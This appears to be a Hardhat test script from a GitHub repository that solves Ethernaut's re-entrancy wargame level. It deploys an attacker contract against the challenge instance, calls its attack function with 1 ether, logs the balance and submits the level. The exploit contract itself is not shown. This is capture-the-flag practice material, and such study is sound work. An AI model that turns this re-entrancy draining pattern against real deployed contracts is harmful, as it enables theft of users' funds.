-
Notifications
You must be signed in to change notification settings - Fork 28
/
10-re-entrancy.ts
44 lines (39 loc) · 1.32 KB
/
10-re-entrancy.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import { expect } from "chai";
import { BigNumber, Contract, Signer } from "ethers";
import { ethers } from "hardhat";
import { createChallenge, submitLevel } from "./utils";
let accounts: Signer[];
let eoa: Signer;
let attacker: Contract;
let challenge: Contract; // challenge contract
let tx: any;
before(async () => {
accounts = await ethers.getSigners();
[eoa] = accounts;
const challengeFactory = await ethers.getContractFactory(`Reentrance`);
const challengeAddress = await createChallenge(
`0x848fb2124071146990c7abE8511f851C7f527aF4`,
ethers.utils.parseUnits(`1`, `ether`)
);
challenge = await challengeFactory.attach(challengeAddress);
const attackerFactory = await ethers.getContractFactory(`ReentranceAttacker`);
attacker = await attackerFactory.deploy(challenge.address);
});
it("solves the challenge", async function () {
console.log(
`Challenge balance`,
(await challenge.provider.getBalance(challenge.address)).toString()
);
tx = await attacker.attack({
value: ethers.utils.parseUnits(`1`, `ether`),
gasLimit: BigNumber.from(`200000`)
});
await tx.wait();
console.log(
`Challenge balance`,
(await challenge.provider.getBalance(challenge.address)).toString()
);
});
after(async () => {
expect(await submitLevel(challenge.address), "level not solved").to.be.true;
});